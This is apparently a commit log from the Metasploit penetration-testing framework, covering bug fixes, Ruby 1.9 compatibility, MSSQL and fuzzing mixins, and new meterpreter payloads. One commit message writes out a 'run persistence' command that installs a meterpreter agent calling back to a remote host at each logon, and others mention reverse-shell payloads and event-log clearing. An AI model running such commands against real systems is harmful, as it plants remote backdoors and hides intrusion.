2009-10-26 18:48:06 +00:00
HD Moore 32f7d742b3 Fixes #328. Crafty little bug -- if asm was "" vs nil, the stage would try to compile as metasm instead of using the raw payload.
git-svn-id: file:///home/svn/framework3/trunk@7278 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 17:44:43 +00:00
HD Moore 6da0013b91 See #378. Additional fix for batch mode
git-svn-id: file:///home/svn/framework3/trunk@7264 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 03:54:44 +00:00
HD Moore 8328bf654b Fixes #358. Adds progress reporting at 10% intervals (min granularity is thread count)
git-svn-id: file:///home/svn/framework3/trunk@7263 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 03:49:07 +00:00
et 7a24a5495e Fix #414 globaly defined datastore values are now rewriten before RHOSTS, RPORT, SSL are set. Support of hostnames instead of ips. Minor version changes
git-svn-id: file:///home/svn/framework3/trunk@7262 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 22:20:59 +00:00
HD Moore f9f690b0e7 Updated prefetch script and creation of Rex::Script::Completed as a clean way to exit meterpreter scripts
git-svn-id: file:///home/svn/framework3/trunk@7257 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 20:50:07 +00:00
HD Moore e3f68f2639 Another large number of warnings fixed by Yoann Guillot
git-svn-id: file:///home/svn/framework3/trunk@7248 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:18:23 +00:00
HD Moore b38a74c961 Another mega-patch from Yoann Guillot: fixes warnings generated by method calls with a space betwee the method and the parans, corrects a problem with the alpha encoders that causes them to overwrite the allowed charset, hardcodes the metasm output size of some modules in order to reduce load time, more to come
git-svn-id: file:///home/svn/framework3/trunk@7246 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 16:40:19 +00:00
HD Moore c4e8c52585 Import some basic ssh fuzzers and a smb fuzzer that can trigger the smb2 negotiate bug
git-svn-id: file:///home/svn/framework3/trunk@7243 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 03:25:15 +00:00
HD Moore cae0d61491 Adds a basic fuzzing mixin, as well as a TDS username fuzzer to demonstrate usage
git-svn-id: file:///home/svn/framework3/trunk@7241 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 01:40:27 +00:00
HD Moore b53a596ff0 Merge in David Kennedy's new MSSQL changes (centralized SQL query mixin)
git-svn-id: file:///home/svn/framework3/trunk@7236 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 19:15:32 +00:00
HD Moore 07653cb452 Fix a typo for 1.9.1 support
git-svn-id: file:///home/svn/framework3/trunk@7232 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 13:58:21 +00:00
HD Moore 1acf372dce Roll Lorcon2 into the metasploit tree, still testing the modules. See #378
git-svn-id: file:///home/svn/framework3/trunk@7228 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 04:32:26 +00:00
HD Moore 51ad52d63a Moving towards beta
git-svn-id: file:///home/svn/framework3/trunk@7221 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-21 02:36:02 +00:00
HD Moore 00b2915554 Fixes #342. Set ReverseConnectRetries to a value between 1 and 255 (default is 5). On failure it will ExitProcess (still better than a cpu spin)
git-svn-id: file:///home/svn/framework3/trunk@7217 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 20:31:14 +00:00
kris b75ef037c3 more tabs vs spaces, and fix a few mismatched indentation levels (def/end, etc)
git-svn-id: file:///home/svn/framework3/trunk@7211 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 17:24:33 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
HD Moore 4ac27c9803 Consolidate common APIs into the mixin
git-svn-id: file:///home/svn/framework3/trunk@7195 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 20:58:01 +00:00
et dc415c76ca Fixes #364. Added error message detection and signatures
git-svn-id: file:///home/svn/framework3/trunk@7187 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 19:46:30 +00:00
HD Moore 4d4c0905ef Slightly improved error handling for auxiliary and exploit modules. Improved brute forcing mode for mssql_login. Serious errors (broken code, etc) are bubbled up in auxiliary scanners now. Fixes #384 by reading wordlists one line at a time and not buffering
git-svn-id: file:///home/svn/framework3/trunk@7185 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 18:03:02 +00:00
HD Moore a17d96a1ab Remove the last usage of ReadWriteLock in the Socket class. Fixes #383
git-svn-id: file:///home/svn/framework3/trunk@7182 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 09:24:36 +00:00
HD Moore 88fba8c38a Handle a null response better
git-svn-id: file:///home/svn/framework3/trunk@7180 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:09:30 +00:00
HD Moore 490545602a Chunk long sql queries into blocks, fixes mssql_payload
git-svn-id: file:///home/svn/framework3/trunk@7179 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 03:07:25 +00:00
HD Moore 681e2c940c Fixes #379. Massive rewrite of the MSSQL mixin. This moves everything to TDS 7.0 instead of the old crusty protocol
git-svn-id: file:///home/svn/framework3/trunk@7178 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-18 01:17:58 +00:00
HD Moore 8d9356f40d Minor tweak allows the 'quit' command to work inside of a resource script
git-svn-id: file:///home/svn/framework3/trunk@7177 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 16:53:21 +00:00
HD Moore d0b07c0c3f Fixes #353. If the problem persists, make sure 'cygpath' is installed, it sounds like the root cause is 3.3-dev being run inside of an existing cygwin environment.
git-svn-id: file:///home/svn/framework3/trunk@7176 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:41:37 +00:00
HD Moore 27192b303b Fixes #270. Allow the user to set BasicAuthUser and BasicAuthPass in order to authenticate using the HTTP mixin
git-svn-id: file:///home/svn/framework3/trunk@7175 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 06:20:14 +00:00
HD Moore d3aa513773 Fixes #339. Cleans up author names for the most part - there are still some stragglers, but this should fix up the frequent contributors
git-svn-id: file:///home/svn/framework3/trunk@7173 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:55:15 +00:00
HD Moore ce25403e18 Fixes #356. Delete poorly formatted reference entries, preventing bad reference objects from being stored in the actual module
git-svn-id: file:///home/svn/framework3/trunk@7172 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-17 05:25:29 +00:00
kris efe44ba6b5 bleh.. a bit of tabs vs spaces
git-svn-id: file:///home/svn/framework3/trunk@7171 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-16 18:27:18 +00:00
HD Moore 3b49e2af58 Add an optional timeout for mssql
git-svn-id: file:///home/svn/framework3/trunk@7161 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 20:56:36 +00:00
HD Moore ce9bfec34f Fix string handling
git-svn-id: file:///home/svn/framework3/trunk@7160 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:51:44 +00:00
HD Moore cd2968a32a Updated mssql_sql and backend mixin, can handle most column types and is somewhat usable as a mssql client
git-svn-id: file:///home/svn/framework3/trunk@7159 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 17:41:12 +00:00
HD Moore c5b23fbb02 Better result parsing, fix a slice!() on nil
git-svn-id: file:///home/svn/framework3/trunk@7158 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-14 14:25:26 +00:00
HD Moore a782a68c42 Complete overhaul of the MSSQL API, fixes 1.9 compat issues and makes the MSSQL testing easier
git-svn-id: file:///home/svn/framework3/trunk@7154 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-13 22:24:47 +00:00
kris a4679bc3fc sort meterp use -l output so exts like priv and priv.x64 are grouped together
git-svn-id: file:///home/svn/framework3/trunk@7141 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-11 18:24:38 +00:00
kris b6fa63701b require srv stuff along with the other rr types
git-svn-id: file:///home/svn/framework3/trunk@7135 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-10 16:05:27 +00:00
kris 4ba9438e56 Append newline to meterpreter use -l output (was running into prompt)
git-svn-id: file:///home/svn/framework3/trunk@7134 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-09 04:33:59 +00:00
kris 672fd9e977 Meterpreter ipconfig Ruby 1.9 fix. This fixes string indexing errors and
(after that was fixed) the fact that sprintf "%02X" now decides to bail when
given a nil instead of it giving zeros.


git-svn-id: file:///home/svn/framework3/trunk@7133 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-08 16:46:13 +00:00
HD Moore 6f67271c31 fixes #351. Forces data to ascii-8bit encoding, removes the 1.9 hack, fixes octet-field conversion
git-svn-id: file:///home/svn/framework3/trunk@7129 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-05 23:12:35 +00:00
HD Moore 087a248f16 Remove debugging line;
git-svn-id: file:///home/svn/framework3/trunk@7127 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 23:16:28 +00:00
kris e0f885d50c Let db_autopwn -I/-X work with a single addr
git-svn-id: file:///home/svn/framework3/trunk@7126 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 20:20:43 +00:00
kris 47d8e02389 Specify that db_autopwn -b is default
git-svn-id: file:///home/svn/framework3/trunk@7125 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:48:48 +00:00
kris 50f2f90646 db_autopwn -I/-X fix for Ruby 1.9 (calling each() on a string). Now commas
are allowed in the host specs in general.


git-svn-id: file:///home/svn/framework3/trunk@7124 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-04 19:43:06 +00:00
HD Moore 06818ae2bf Handle cases where a scanned host has no ports open
git-svn-id: file:///home/svn/framework3/trunk@7122 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-03 20:05:36 +00:00
HD Moore b198631746 Fixes #349 by upgrading to bit-struct trunk, however something is now causing a segv in the ruby VM (guessing the pcaprub code).
git-svn-id: file:///home/svn/framework3/trunk@7120 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-03 18:45:32 +00:00
HD Moore c628302e72 Define the full class name for the history variable;
git-svn-id: file:///home/svn/framework3/trunk@7118 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 16:17:27 +00:00
HD Moore 304ed6b0a6 During a recursive download, ensure that the local directories are created properly
git-svn-id: file:///home/svn/framework3/trunk@7117 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:57:25 +00:00
HD Moore 9e19121858 Print an error if openssl is not installed, this is a workaround until we have a better way to show how missing optional dependencies affect the feature set.
git-svn-id: file:///home/svn/framework3/trunk@7116 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:24:10 +00:00
HD Moore 35fcf8c2b2 Swap around rbreadline - load it by default, but also allow the old readline with the -L (--real-readline) parameter to msfconsole. This also fixes absolute path handling for msfconsole command passthrough
git-svn-id: file:///home/svn/framework3/trunk@7115 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 14:17:03 +00:00
HD Moore 54437321eb Disable inputrc processing, its not deterministic and will be impossible to support as implemented.
git-svn-id: file:///home/svn/framework3/trunk@7111 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 00:03:55 +00:00
HD Moore 4e244d654d Catch parsing errors in the inputrc file
git-svn-id: file:///home/svn/framework3/trunk@7110 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 21:02:50 +00:00
HD Moore b4d6ba1170 Check for nil before trying to replace a line
git-svn-id: file:///home/svn/framework3/trunk@7108 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 16:47:48 +00:00
HD Moore 92359fecc5 Fix some 1.9 compat issues, wrap missing methods, extend to the cxt structure to include mb (used elsewhere)
git-svn-id: file:///home/svn/framework3/trunk@7107 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 16:27:18 +00:00
HD Moore 5f010aa4b9 Fix some remaining 1.9 compatibility issues
git-svn-id: file:///home/svn/framework3/trunk@7105 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 16:01:53 +00:00
kris f13bf727c8 See #348. Make platform list (platform_to_s) a comma separated string as the
method comment suggests (other *_to_s methods are like this).  This wasn't an
issue before, but now otherwise Ruby 1.9 prints arrays differently like:

Platform: ["Windows", "Linux", "BSD", "Solaris", "BSDi", "OSX"]



git-svn-id: file:///home/svn/framework3/trunk@7103 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-01 05:47:51 +00:00
kris 8efeb58285 add simple sessions -K to kill all. useful at least when i'm testing.
git-svn-id: file:///home/svn/framework3/trunk@7100 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 23:00:15 +00:00
HD Moore 3c79917fb0 Disable vi editing-mode, as its not completely implemented
git-svn-id: file:///home/svn/framework3/trunk@7097 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 20:36:04 +00:00
et debf126d32 Save wmap reports to a file
git-svn-id: file:///home/svn/framework3/trunk@7096 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 04:20:06 +00:00
HD Moore 0c802ea3e1 Fixes #345. Adds a more stringent check for ::Encoding class being defined, should work around false positives with getbyte
git-svn-id: file:///home/svn/framework3/trunk@7095 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 03:25:39 +00:00
HD Moore ce1b528b05 Fixes msfgui to load properly again
git-svn-id: file:///home/svn/framework3/trunk@7094 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-30 03:20:11 +00:00
HD Moore 3500745d70 Revert previous changes, easier to just include infocmp and terminfo
git-svn-id: file:///home/svn/framework3/trunk@7092 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:42:26 +00:00
HD Moore 7b28cdacd8 Handle lacking infocmp a little smoother
git-svn-id: file:///home/svn/framework3/trunk@7091 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:30:15 +00:00
HD Moore 542b3de249 Handle the case where there is no infocmp
git-svn-id: file:///home/svn/framework3/trunk@7090 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:26:23 +00:00
HD Moore c679e11f4e See #343. Switches metasploit to the pure ruby readline - time for extensive testing
git-svn-id: file:///home/svn/framework3/trunk@7089 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-29 03:03:17 +00:00
James Lee 53e3f166f8 make x86/nonupper raise the right exception type, prettify some formatting
git-svn-id: file:///home/svn/framework3/trunk@7083 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 05:23:23 +00:00
HD Moore 3647d1c524 Time to give up the warning, any leftover bugs are probably applicable to 1.8.x too
git-svn-id: file:///home/svn/framework3/trunk@7081 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:15:10 +00:00
HD Moore d5c62fa7e2 Make msfweb easier to exclude in packaging
git-svn-id: file:///home/svn/framework3/trunk@7080 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-28 03:12:56 +00:00
HD Moore 5972666f63 See #339. Massive cleanup of author names, make them consistent across modules
git-svn-id: file:///home/svn/framework3/trunk@7075 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 21:30:45 +00:00
HD Moore 714e887a60 Fixes #313. Makes some usage changes to ET's screenshot method, tested on XP SP3 with no problems
git-svn-id: file:///home/svn/framework3/trunk@7073 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 18:42:34 +00:00
Stephen Fewer 1a220d6dc5 add java payload jsp_shell_reverse_tcp.
git-svn-id: file:///home/svn/framework3/trunk@7071 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 18:35:07 +00:00
HD Moore 5be5a20ba7 fixes #285. Corrects SSL init to be after proxies, fixes issues with 1.9.1 compatibility and SOCKS support
git-svn-id: file:///home/svn/framework3/trunk@7070 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-27 15:36:30 +00:00
kris 41157e97fe make run -a functional
git-svn-id: file:///home/svn/framework3/trunk@7068 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 22:34:48 +00:00
HD Moore f036d807e3 Register the session before calling the handler's on_session() method, there may have been good reasons to avoid this before, by walking through the code it doesn't seem like they are still applicable. Fixes #266
git-svn-id: file:///home/svn/framework3/trunk@7067 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 18:47:44 +00:00
et a89914d448 Finally screenshot capture. BMP at this time
git-svn-id: file:///home/svn/framework3/trunk@7063 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-26 04:05:09 +00:00
HD Moore ee9a8f4f76 Adds support for the reverse_tcp_allports stager for Windows. This payload tries to connect back on all ports, one at a time, from LPORT to 65535. This is incredibly slow (depends on the default socket timeout) and requires the user to forward all TCP ports of LHOST to a single listening port in the handler. Inspired by a few user requests and this blog post: http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall
git-svn-id: file:///home/svn/framework3/trunk@7058 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-25 05:44:50 +00:00
HD Moore 069144f56a Dont print the bind message for the any address
git-svn-id: file:///home/svn/framework3/trunk@7057 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:52:58 +00:00
HD Moore eaf5368f98 Allow the DisablePayloadHandler option to be set, this prevents the default payload handler from being called. Fixes #307
git-svn-id: file:///home/svn/framework3/trunk@7056 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-24 20:36:30 +00:00
HD Moore 479add54e1 Mostly fix file information in listings -- Ruby 1.8.x used the builtin FileStat, 1.9 now users our own, and the offsets were off from the stat structure
git-svn-id: file:///home/svn/framework3/trunk@7054 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-23 21:20:09 +00:00
HD Moore 0d1098e6bf Make the SMB connect() method take an optional 'global' argument, allows for secondary SMB connections
git-svn-id: file:///home/svn/framework3/trunk@7053 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 21:26:20 +00:00
James Lee a127213a70 Assignment-by-reference causes breakage when using the Array.new(num, obj) syntax. Fixes #330
git-svn-id: file:///home/svn/framework3/trunk@7052 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:49:52 +00:00
James Lee 21ff66996a make logging a little more useful when encoding
git-svn-id: file:///home/svn/framework3/trunk@7051 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-22 06:45:58 +00:00
HD Moore c34c999ac3 Remove the default versions, since these are not used. See #333
git-svn-id: file:///home/svn/framework3/trunk@7050 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:14:58 +00:00
HD Moore 5e37dfa040 Fixes #325. Dont pass nil to the FileStat constructor, be strict about class path
git-svn-id: file:///home/svn/framework3/trunk@7049 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:12:46 +00:00
HD Moore 602b1a2efd Adds the 'clearev' command, see #317
git-svn-id: file:///home/svn/framework3/trunk@7048 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 22:05:44 +00:00
HD Moore 1ba927f80e Updated and verbose errors to assist with error handling. See #278
git-svn-id: file:///home/svn/framework3/trunk@7047 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:25:08 +00:00
HD Moore f3708fb933 Fixes #278. Handle cases where a reload fails and indicate why
git-svn-id: file:///home/svn/framework3/trunk@7046 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 20:22:45 +00:00
HD Moore cdbfe74b1b Fixes #273. Move the passivex default port to 8000 so it doesnt conflict with the default HttpServer port
git-svn-id: file:///home/svn/framework3/trunk@7044 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:46:08 +00:00
HD Moore 1d21e41156 Fix references searching from the console. Fixes #304
git-svn-id: file:///home/svn/framework3/trunk@7043 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-20 19:40:00 +00:00
kris 29134be27a Fixes #336. Don't add 'NSS-<id>' to ref list when importing Nessus nbe/xml to
database (report/patch by erwinpdev).

This NSS- stuff was in the original nbe code before things were copied and
reworked for the xml handling.  I'm not sure why it was there; the NSS id is
already available in the database (name).

Note that ref lists generated here can be empty now, which I think is fine.



git-svn-id: file:///home/svn/framework3/trunk@7040 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-18 17:33:46 +00:00
HD Moore b5da2c72f2 Fixes #333. Adds core and api version checks to all module loads. To specify a minimum version, add the following constant to the top of the module (outside of the class definition):
RequiredVersions = [3.3, 1.0] # MSF 3.3+ API 1.0+


git-svn-id: file:///home/svn/framework3/trunk@7037 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-15 13:50:32 +00:00
James Lee 8b0a92ba1b fix a 1.9 bug where elements of a string are assumed to be Integers; fixes #309
git-svn-id: file:///home/svn/framework3/trunk@7034 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-13 16:56:54 +00:00
HD Moore 0885a7262e Merge the DECT code from DK, clean some things up
git-svn-id: file:///home/svn/framework3/trunk@7032 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-12 15:40:33 +00:00
HD Moore 0c584bae10 Match against the fullname not just the refname for -m regex filters in db_autopwn
git-svn-id: file:///home/svn/framework3/trunk@7029 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-11 15:32:23 +00:00
Stephen Fewer 1937839e79 Patch meterpreter's sysinfo command to resolve the system language and architecture.
git-svn-id: file:///home/svn/framework3/trunk@7028 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-10 13:09:48 +00:00
HD Moore d6d7b0e43f Raise an alert if the code size is > 2048
git-svn-id: file:///home/svn/framework3/trunk@7013 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-08 20:33:43 +00:00
kris da61141a79 Fixes #281, pt2. This time fixing unrelated whitespace changes from the
original patch.  I (lazily) kept it because 'svn diff -x -b' showed no
difference and it was formatted fine in vi.  This is obviously not a good
way of assessing bad whitespace formatting :)


git-svn-id: file:///home/svn/framework3/trunk@7007 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-05 23:57:42 +00:00
kris 53775ed59b Fixes #281. Add .nessus db support via db_import_nessus_xml
Based on work by mephux and erwinp.  I started with the latter's patch and
reworked it to avoid all of duplication from the .nbe stuff.


git-svn-id: file:///home/svn/framework3/trunk@7005 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-05 04:29:53 +00:00
HD Moore 64ff8b5181 Add missing -oX argument
git-svn-id: file:///home/svn/framework3/trunk@7004 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:14:19 +00:00
HD Moore 09eb693a97 Fix cygwin check
git-svn-id: file:///home/svn/framework3/trunk@7003 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:11:28 +00:00
HD Moore e7b200bc23 Expand cygwin to win32 path for db_nmap on windows inside of cygwin
git-svn-id: file:///home/svn/framework3/trunk@7002 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 15:04:06 +00:00
Stephen Fewer d584b4d314 Fixed migrate for x64 meterpreter (Tested on Win 7 and 2003).
git-svn-id: file:///home/svn/framework3/trunk@6999 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-04 01:40:48 +00:00
Stephen Fewer 40ca641a96 Initial commit of the windows x64 meterpreter payloads!
git-svn-id: file:///home/svn/framework3/trunk@6997 4d416f70-5f16-0410-b530-b9f4589650da
2009-09-03 17:47:21 +00:00
HD Moore b1acf43bb7 Fixes #322, hooks the appropriate dbi error, also tries to load dbi via rubygems now
git-svn-id: file:///home/svn/framework3/trunk@6982 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 20:13:37 +00:00
et 04491c7fb1 Fix small bug when str nil
git-svn-id: file:///home/svn/framework3/trunk@6979 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 04:56:38 +00:00
HD Moore 97fed166a3 Fixes #312. Thanks for the patch!
git-svn-id: file:///home/svn/framework3/trunk@6978 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-27 01:28:48 +00:00
HD Moore ec61dca868 Patch to make table output on the console more readable by removing the last column's padding, submitted by jduck. Thanks!
git-svn-id: file:///home/svn/framework3/trunk@6974 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-25 09:50:14 +00:00